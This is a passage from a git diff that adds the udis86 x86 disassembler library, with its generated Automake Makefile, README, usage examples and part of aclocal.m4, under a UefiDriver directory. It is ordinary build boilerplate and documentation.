+SHELL = @SHELL@ +SPHINX_BUILD = @SPHINX_BUILD@ +SPHINX_VERSION = @SPHINX_VERSION@ +STRIP = @STRIP@ +VERSION = @VERSION@ +YASM = @YASM@ +YASM_VERSION = @YASM_VERSION@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +SUBDIRS = scripts libudis86 udcli docs tests +MAINTAINERCLEANFILES = \ + Makefile.in \ + configure \ + config.h.in \ + config.h.in~ \ + missing \ + aclocal.m4 \ + build/config.guess \ + build/config.sub \ + build/compile \ + build/config.guess \ + build/config.sub \ + build/depcomp \ + build/install-sh \ + build/ltmain.sh \ + build/missing + +include_ladir = ${includedir} +include_la_HEADERS = udis86.h +all: config.h + $(MAKE) $(AM_MAKEFLAGS) all-recursive + +.SUFFIXES: +am--refresh: Makefile + @: +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + echo ' cd $(srcdir) && $(AUTOMAKE) --foreign'; \ + $(am__cd) $(srcdir) && $(AUTOMAKE) --foreign \ + && exit 0; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign Makefile +.PRECIOUS: Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + echo ' $(SHELL) ./config.status'; \ + $(SHELL) ./config.status;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $@ $(am__depfiles_maybe);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + $(SHELL) ./config.status --recheck + +$(top_srcdir)/configure: $(am__configure_deps) + $(am__cd) $(srcdir) && $(AUTOCONF) +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + $(am__cd) $(srcdir) && $(ACLOCAL) $(ACLOCAL_AMFLAGS) +$(am__aclocal_m4_deps): + +config.h: stamp-h1 + @if test ! -f $@; then rm -f stamp-h1; else :; fi + @if test ! -f $@; then $(MAKE) $(AM_MAKEFLAGS) stamp-h1; else :; fi + +stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status + @rm -f stamp-h1 + cd $(top_builddir) && $(SHELL) ./config.status config.h +$(srcdir)/config.h.in: $(am__configure_deps) + ($(am__cd) $(top_srcdir) && $(AUTOHEADER)) + rm -f stamp-h1 + touch $@ + +distclean-hdr: + -rm -f config.h stamp-h1 + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs + +distclean-libtool: + -rm -f libtool config.lt +install-include_laHEADERS: $(include_la_HEADERS) + @$(NORMAL_INSTALL) + @list='$(include_la_HEADERS)'; test -n "$(include_ladir)" || list=; \ + if test -n "$$list"; then \ + echo " $(MKDIR_P) '$(DESTDIR)$(include_ladir)'"; \ + $(MKDIR_P) "$(DESTDIR)$(include_ladir)" || exit 1; \ + fi; \ + for p in $$list; do \ + if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ + echo "$$d$$p"; \ + done | $(am__base_list) | \ + while read files; do \ + echo " $(INSTALL_HEADER) $$files '$(DESTDIR)$(include_ladir)'"; \ + $(INSTALL_HEADER) $$files "$(DESTDIR)$(include_ladir)" || exit $$?; \ + done + +uninstall-include_laHEADERS: + @$(NORMAL_UNINSTALL) + @list='$(include_la_HEADERS)'; test -n "$(include_ladir)" || list=; \ + files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ + dir='$(DESTDIR)$(include_ladir)'; $(am__uninstall_files_from_dir) + +# This directory's subdirectories are mostly independent; you can cd +# into them and run 'make' without going through this Makefile. +# To change the values of 'make' variables: instead of editing Makefiles, +# (1) if the variable is set in 'config.status', edit 'config.status' +# (which will cause the Makefiles to be regenerated when you run 'make'); +# (2) otherwise, pass the desired values on the 'make' command line. +$(am__recursive_targets): + @fail= failcom='exit 1'; \ + for f in x $$MAKEFLAGS; do \ + case $$f in \ + *=* | --[!k]*);; \ + *k*) failcom='fail=yes';; \ + esac; \ + done; \ + dot_seen=no; \ + target=`echo $@ | sed s/-recursive//`; \ + case "$@" in \ + distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ + *) list='$(SUBDIRS)' ;; \ + esac; \ + for subdir in $$list; do \ + echo "Making $$target in $$subdir"; \ + if test "$$subdir" = "."; then \ + dot_seen=yes; \ + local_target="$$target-am"; \ + else \ + local_target="$$target"; \ + fi; \ + ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ + || eval $$failcom; \ + done; \ + if test "$$dot_seen" = "no"; then \ + $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ + fi; test -z "$$fail" + +ID: $(am__tagged_files) + $(am__define_uniq_tagged_files); mkid -fID $$unique +tags: tags-recursive +TAGS: tags + +tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + set x; \ + here=`pwd`; \ + if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ + include_option=--etags-include; \ + empty_fix=.; \ + else \ + include_option=--include; \ + empty_fix=; \ + fi; \ + list='$(SUBDIRS)'; for subdir in $$list; do \ + if test "$$subdir" = .; then :; else \ + test ! -f $$subdir/TAGS || \ + set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ + fi; \ + done; \ + $(am__define_uniq_tagged_files); \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ + test -n "$$unique" || unique=$$empty_fix; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ + fi +ctags: ctags-recursive + +CTAGS: ctags +ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + $(am__define_uniq_tagged_files); \ + test -z "$(CTAGS_ARGS)$$unique" \ + || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ + $$unique + +GTAGS: + here=`$(am__cd) $(top_builddir) && pwd` \ + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" +cscope: cscope.files + test ! -s cscope.files \ + || $(CSCOPE) -b -q $(AM_CSCOPEFLAGS) $(CSCOPEFLAGS) -i cscope.files $(CSCOPE_ARGS) +clean-cscope: + -rm -f cscope.files +cscope.files: clean-cscope cscopelist +cscopelist: cscopelist-recursive + +cscopelist-am: $(am__tagged_files) + list='$(am__tagged_files)'; \ + case "$(srcdir)" in \ + [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ + *) sdir=$(subdir)/$(srcdir) ;; \ + esac; \ + for i in $$list; do \ + if test -f "$$i"; then \ + echo "$(subdir)/$$i"; \ + else \ + echo "$$sdir/$$i"; \ + fi; \ + done >> $(top_builddir)/cscope.files + +distclean-tags: + -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags + -rm -f cscope.out cscope.in.out cscope.po.out cscope.files + +distdir: $(DISTFILES) + $(am__remove_distdir) + test -d "$(distdir)" || mkdir "$(distdir)" + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done + @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ + if test "$$subdir" = .; then :; else \ + $(am__make_dryrun) \ + || test -d "$(distdir)/$$subdir" \ + || $(MKDIR_P) "$(distdir)/$$subdir" \ + || exit 1; \ + dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ + $(am__relativize); \ + new_distdir=$$reldir; \ + dir1=$$subdir; dir2="$(top_distdir)"; \ + $(am__relativize); \ + new_top_distdir=$$reldir; \ + echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ + echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ + ($(am__cd) $$subdir && \ + $(MAKE) $(AM_MAKEFLAGS) \ + top_distdir="$$new_top_distdir" \ + distdir="$$new_distdir" \ + am__remove_distdir=: \ + am__skip_length_check=: \ + am__skip_mode_fix=: \ + distdir) \ + || exit 1; \ + fi; \ + done + -test -n "$(am__skip_mode_fix)" \ + || find "$(distdir)" -type d ! -perm -755 \ + -exec chmod u+rwx,go+rx {} \; -o \ + ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ + ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ + ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \ + || chmod -R a+r "$(distdir)" +dist-gzip: distdir + tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz + $(am__post_remove_distdir) + +dist-bzip2: distdir + tardir=$(distdir) && $(am__tar) | BZIP2=$${BZIP2--9} bzip2 -c >$(distdir).tar.bz2 + $(am__post_remove_distdir) + +dist-lzip: distdir + tardir=$(distdir) && $(am__tar) | lzip -c $${LZIP_OPT--9} >$(distdir).tar.lz + $(am__post_remove_distdir) + +dist-xz: distdir + tardir=$(distdir) && $(am__tar) | XZ_OPT=$${XZ_OPT--e} xz -c >$(distdir).tar.xz + $(am__post_remove_distdir) + +dist-tarZ: distdir + tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z + $(am__post_remove_distdir) + +dist-shar: distdir + shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz + $(am__post_remove_distdir) + +dist-zip: distdir + -rm -f $(distdir).zip + zip -rq $(distdir).zip $(distdir) + $(am__post_remove_distdir) + +dist dist-all: + $(MAKE) $(AM_MAKEFLAGS) $(DIST_TARGETS) am__post_remove_distdir='@:' + $(am__post_remove_distdir) + +# This target untars the dist file and tries a VPATH configuration. Then +# it guarantees that the distribution is self-contained by making another +# tarfile. +distcheck: dist + case '$(DIST_ARCHIVES)' in \ + *.tar.gz*) \ + GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\ + *.tar.bz2*) \ + bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\ + *.tar.lz*) \ + lzip -dc $(distdir).tar.lz | $(am__untar) ;;\ + *.tar.xz*) \ + xz -dc $(distdir).tar.xz | $(am__untar) ;;\ + *.tar.Z*) \ + uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ + *.shar.gz*) \ + GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\ + *.zip*) \ + unzip $(distdir).zip ;;\ + esac + chmod -R a-w $(distdir) + chmod u+w $(distdir) + mkdir $(distdir)/_build $(distdir)/_inst + chmod a-w $(distdir) + test -d $(distdir)/_build || exit 0; \ + dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \ + && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \ + && am__cwd=`pwd` \ + && $(am__cd) $(distdir)/_build \ + && ../configure --srcdir=.. --prefix="$$dc_install_base" \ + $(AM_DISTCHECK_CONFIGURE_FLAGS) \ + $(DISTCHECK_CONFIGURE_FLAGS) \ + && $(MAKE) $(AM_MAKEFLAGS) \ + && $(MAKE) $(AM_MAKEFLAGS) dvi \ + && $(MAKE) $(AM_MAKEFLAGS) check \ + && $(MAKE) $(AM_MAKEFLAGS) install \ + && $(MAKE) $(AM_MAKEFLAGS) installcheck \ + && $(MAKE) $(AM_MAKEFLAGS) uninstall \ + && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \ + distuninstallcheck \ + && chmod -R a-w "$$dc_install_base" \ + && ({ \ + (cd ../.. && umask 077 && mkdir "$$dc_destdir") \ + && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \ + && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \ + && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \ + distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \ + } || { rm -rf "$$dc_destdir"; exit 1; }) \ + && rm -rf "$$dc_destdir" \ + && $(MAKE) $(AM_MAKEFLAGS) dist \ + && rm -rf $(DIST_ARCHIVES) \ + && $(MAKE) $(AM_MAKEFLAGS) distcleancheck \ + && cd "$$am__cwd" \ + || exit 1 + $(am__post_remove_distdir) + @(echo "$(distdir) archives ready for distribution: "; \ + list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \ + sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x' +distuninstallcheck: + @test -n '$(distuninstallcheck_dir)' || { \ + echo 'ERROR: trying to run $@ with an empty' \ + '$$(distuninstallcheck_dir)' >&2; \ + exit 1; \ + }; \ + $(am__cd) '$(distuninstallcheck_dir)' || { \ + echo 'ERROR: cannot chdir into $(distuninstallcheck_dir)' >&2; \ + exit 1; \ + }; \ + test `$(am__distuninstallcheck_listfiles) | wc -l` -eq 0 \ + || { echo "ERROR: files left after uninstall:" ; \ + if test -n "$(DESTDIR)"; then \ + echo " (check DESTDIR support)"; \ + fi ; \ + $(distuninstallcheck_listfiles) ; \ + exit 1; } >&2 +distcleancheck: distclean + @if test '$(srcdir)' = . ; then \ + echo "ERROR: distcleancheck can only run from a VPATH build" ; \ + exit 1 ; \ + fi + @test `$(distcleancheck_listfiles) | wc -l` -eq 0 \ + || { echo "ERROR: files left in build directory after distclean:" ; \ + $(distcleancheck_listfiles) ; \ + exit 1; } >&2 +check-am: all-am +check: check-recursive +all-am: Makefile $(HEADERS) config.h +installdirs: installdirs-recursive +installdirs-am: + for dir in "$(DESTDIR)$(include_ladir)"; do \ + test -z "$$dir" || $(MKDIR_P) "$$dir"; \ + done +install: install-recursive +install-exec: install-exec-recursive +install-data: install-data-recursive +uninstall: uninstall-recursive + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-recursive +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) +clean: clean-recursive + +clean-am: clean-generic clean-libtool mostlyclean-am + +distclean: distclean-recursive + -rm -f $(am__CONFIG_DISTCLEAN_FILES) + -rm -f Makefile +distclean-am: clean-am distclean-generic distclean-hdr \ + distclean-libtool distclean-tags + +dvi: dvi-recursive + +dvi-am: + +html: html-recursive + +html-am: + +info: info-recursive + +info-am: + +install-data-am: install-include_laHEADERS + +install-dvi: install-dvi-recursive + +install-dvi-am: + +install-exec-am: + +install-html: install-html-recursive + +install-html-am: + +install-info: install-info-recursive + +install-info-am: + +install-man: + +install-pdf: install-pdf-recursive + +install-pdf-am: + +install-ps: install-ps-recursive + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-recursive + -rm -f $(am__CONFIG_DISTCLEAN_FILES) + -rm -rf $(top_srcdir)/autom4te.cache + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic \ + maintainer-clean-local + +mostlyclean: mostlyclean-recursive + +mostlyclean-am: mostlyclean-generic mostlyclean-libtool + +pdf: pdf-recursive + +pdf-am: + +ps: ps-recursive + +ps-am: + +uninstall-am: uninstall-include_laHEADERS + +.MAKE: $(am__recursive_targets) all install-am install-strip + +.PHONY: $(am__recursive_targets) CTAGS GTAGS TAGS all all-am \ + am--refresh check check-am clean clean-cscope clean-generic \ + clean-libtool cscope cscopelist-am ctags ctags-am dist \ + dist-all dist-bzip2 dist-gzip dist-lzip dist-shar dist-tarZ \ + dist-xz dist-zip distcheck distclean distclean-generic \ + distclean-hdr distclean-libtool distclean-tags distcleancheck \ + distdir distuninstallcheck dvi dvi-am html html-am info \ + info-am install install-am install-data install-data-am \ + install-dvi install-dvi-am install-exec install-exec-am \ + install-html install-html-am install-include_laHEADERS \ + install-info install-info-am install-man install-pdf \ + install-pdf-am install-ps install-ps-am install-strip \ + installcheck installcheck-am installdirs installdirs-am \ + maintainer-clean maintainer-clean-generic \ + maintainer-clean-local mostlyclean mostlyclean-generic \ + mostlyclean-libtool pdf pdf-am ps ps-am tags tags-am uninstall \ + uninstall-am uninstall-include_laHEADERS + + +.PHONY: libudis86 udcli tests docs + +libudis86: + $(MAKE) -C $@ + +udcli: libudis86 + $(MAKE) -C $@ + +tests: check + +maintainer-clean-local: + -rm -rf build/m4 + -rm -rf build + -rm -rf autom4te.cache + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/UefiDriver/udis86/README b/UefiDriver/udis86/README new file mode 100644 index 0000000..03eaee5 --- /dev/null +++ b/UefiDriver/udis86/README @@ -0,0 +1,91 @@ +Udis86 +====== + +Udis86 is a disassembler for the x86 and x86-64 class of instruction set +architectures. It consists of a C library called libudis86 which +provides a clean and simple interface to decode a stream of raw binary +data, and to inspect the disassembled instructions in a structured +manner. + + +LICENSE +------- + +Udis86 is distributed under the terms of the 2-clause "Simplified BSD +License". A copy of the license is included with the source in LICENSE. + + +libudis86 +--------- + + o Supports all x86 and x86-64 (AMD64) General purpose and + System instructions. + o Supported ISA extensions: + - MMX, FPU (x87), AMD 3DNow + - SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, AES, + - AMD-V, INTEL-VMX, SMX + o Instructions are defined in an XML document, with opcode + tables generated for performance. + o Supports output in both INTEL (NASM) as well as AT&T (GNU as) style + assembly language syntax. + o Supports a variety of input methods: Files, Memory Buffers, and + Function Callback hooks. + o Re-entrant, no dynamic memory allocation. + o Fully documented API + + + -- EXAMPLE ----------------------------------------------------------- + + ud_t u; + + ud_init(&u); + ud_set_input_file(&u, stdin); + ud_set_mode(&u, 64); + ud_set_syntax(&u, UD_SYN_INTEL); + + while (ud_disassemble(&u)) { + printf("\t%s\n", ud_insn_asm(&ud_obj)); + } + + ---------------------------------------------------------------------- + + +udcli +----- + +udcli is a small command-line tool for your quick disassembly needs. + + -- EXAMPLE ----------------------------------------------------------- + + $ echo "65 67 89 87 76 65 54 56 78 89 09 00 90" | udcli -32 -x + 0000000080000800 656789877665 mov [gs:bx+0x6576], eax + 0000000080000806 54 push esp + 0000000080000807 56 push esi + 0000000080000808 7889 js 0x80000793 + 000000008000080a 0900 or [eax], eax + 000000008000080c 90 nop + + ---------------------------------------------------------------------- + + +Documentation +------------- + +The libudis86 api is fully documented. The package distribution contains +a Texinfo file which can be installed by invoking "make install-info". +You can also find an online html version of the documentation available +at http://udis86.sourceforge.net/. + + +Autotools Build +--------------- + +You need autotools if building from sources cloned form version control +system, or if you need to regenerate the build system. The wrapper +script 'autogen.sh' is provided that'll generate the build system. + + +AUTHOR +------ + +Udis86 is written and maintained by Vivek Thampi (vivek.mt@gmail.com). diff --git a/UefiDriver/udis86/aclocal.m4 b/UefiDriver/udis86/aclocal.m4 new file mode 100644 index 0000000..2b4a857 --- /dev/null +++ b/UefiDriver/udis86/aclocal.m4 @@ -0,0 +1,1038 @@ +# generated automatically by aclocal 1.13.1 -*- Autoconf -*- + +# Copyright (C) 1996-2012 Free Software Foundation, Inc. + +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +m4_ifndef([AC_CONFIG_MACRO_DIRS], [m4_defun([_AM_CONFIG_MACRO_DIRS], [])m4_defun([AC_CONFIG_MACRO_DIRS], [_AM_CONFIG_MACRO_DIRS($@)])]) +m4_ifndef([AC_AUTOCONF_VERSION], + [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl +m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.69],, +[m4_warning([this file was generated for autoconf 2.69. +You have another version of autoconf. It may work, but is not guaranteed to. +If you have problems, you may need to regenerate the build system entirely. +To do so, use the procedure documented by the package, typically 'autoreconf'.])]) + +# Copyright (C) 2002-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_AUTOMAKE_VERSION(VERSION) +# ---------------------------- +# Automake X.Y traces this macro to ensure aclocal.m4 has been +# generated from the m4 files accompanying Automake X.Y. +# (This private macro should not be called outside this file.) +AC_DEFUN([AM_AUTOMAKE_VERSION], +[am__api_version='1.13' +dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to +dnl require some minimum version. Point them to the right macro. +m4_if([$1], [1.13.1], [], + [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl +]) + +# _AM_AUTOCONF_VERSION(VERSION) +# ----------------------------- +# aclocal traces this macro to find the Autoconf version. +# This is a private macro too. Using m4_define simplifies +# the logic in aclocal, which can simply ignore this definition. +m4_define([_AM_AUTOCONF_VERSION], []) + +# AM_SET_CURRENT_AUTOMAKE_VERSION +# ------------------------------- +# Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced. +# This function is AC_REQUIREd by AM_INIT_AUTOMAKE. +AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION], +[AM_AUTOMAKE_VERSION([1.13.1])dnl +m4_ifndef([AC_AUTOCONF_VERSION], + [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl +_AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))]) + +# AM_AUX_DIR_EXPAND -*- Autoconf -*- + +# Copyright (C) 2001-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# For projects using AC_CONFIG_AUX_DIR([foo]), Autoconf sets +# $ac_aux_dir to '$srcdir/foo'. In other projects, it is set to +# '$srcdir', '$srcdir/..', or '$srcdir/../..'. +# +# Of course, Automake must honor this variable whenever it calls a +# tool from the auxiliary directory. The problem is that $srcdir (and +# therefore $ac_aux_dir as well) can be either absolute or relative, +# depending on how configure is run. This is pretty annoying, since +# it makes $ac_aux_dir quite unusable in subdirectories: in the top +# source directory, any form will work fine, but in subdirectories a +# relative path needs to be adjusted first. +# +# $ac_aux_dir/missing +# fails when called from a subdirectory if $ac_aux_dir is relative +# $top_srcdir/$ac_aux_dir/missing +# fails if $ac_aux_dir is absolute, +# fails when called from a subdirectory in a VPATH build with +# a relative $ac_aux_dir +# +# The reason of the latter failure is that $top_srcdir and $ac_aux_dir +# are both prefixed by $srcdir. In an in-source build this is usually +# harmless because $srcdir is '.', but things will broke when you +# start a VPATH build or use an absolute $srcdir. +# +# So we could use something similar to $top_srcdir/$ac_aux_dir/missing, +# iff we strip the leading $srcdir from $ac_aux_dir. That would be: +# am_aux_dir='\$(top_srcdir)/'`expr "$ac_aux_dir" : "$srcdir//*\(.*\)"` +# and then we would define $MISSING as +# MISSING="\${SHELL} $am_aux_dir/missing" +# This will work as long as MISSING is not called from configure, because +# unfortunately $(top_srcdir) has no meaning in configure. +# However there are other variables, like CC, which are often used in +# configure, and could therefore not use this "fixed" $ac_aux_dir. +# +# Another solution, used here, is to always expand $ac_aux_dir to an +# absolute PATH. The drawback is that using absolute paths prevent a +# configured tree to be moved without reconfiguration. + +AC_DEFUN([AM_AUX_DIR_EXPAND], +[dnl Rely on autoconf to set up CDPATH properly. +AC_PREREQ([2.50])dnl +# expand $ac_aux_dir to an absolute path +am_aux_dir=`cd $ac_aux_dir && pwd` +]) + +# AM_CONDITIONAL -*- Autoconf -*- + +# Copyright (C) 1997-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# AM_CONDITIONAL(NAME, SHELL-CONDITION) +# ------------------------------------- +# Define a conditional. +AC_DEFUN([AM_CONDITIONAL], +[AC_PREREQ([2.52])dnl + m4_if([$1], [TRUE], [AC_FATAL([$0: invalid condition: $1])], + [$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl +AC_SUBST([$1_TRUE])dnl +AC_SUBST([$1_FALSE])dnl +_AM_SUBST_NOTMAKE([$1_TRUE])dnl +_AM_SUBST_NOTMAKE([$1_FALSE])dnl +m4_define([_AM_COND_VALUE_$1], [$2])dnl +if $2; then + $1_TRUE= + $1_FALSE='#' +else + $1_TRUE='#' + $1_FALSE= +fi +AC_CONFIG_COMMANDS_PRE( +[if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then + AC_MSG_ERROR([[conditional "$1" was never defined. +Usually this means the macro was only invoked conditionally.]]) +fi])]) + +# Copyright (C) 1999-2013 Free Software Foundation, Inc. +# +# This file is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + + +# There are a few dirty hacks below to avoid letting 'AC_PROG_CC' be +# written in clear, in which case automake, when reading aclocal.m4, +# will think it sees a *use*, and therefore will trigger all it's +# C support machinery. Also note that it means that autoscan, seeing +# CC etc. in the Makefile, will ask for an AC_PROG_CC use... + + +# _AM_DEPENDENCIES(NAME) +# ---------------------- +# See how the compiler implements dependency checking. +# NAME is "CC", "CXX", "OBJC", "OBJCXX", "UPC", or "GJC". +# We try a few techniques and use that to set a single cache variable. +# +# We don't AC_REQUIRE the corresponding AC_PROG_CC since the latter was +# modified to invoke _AM_DEPENDENCIES(CC); we would have a circular +# dependency, and given that the user is not expected to run this macro, +# just rely on AC_PROG_CC. +AC_DEFUN([_AM_DEPENDENCIES], +[AC_REQUIRE([AM_SET_DEPDIR])dnl +AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl +AC_REQUIRE([AM_MAKE_INCLUDE])dnl 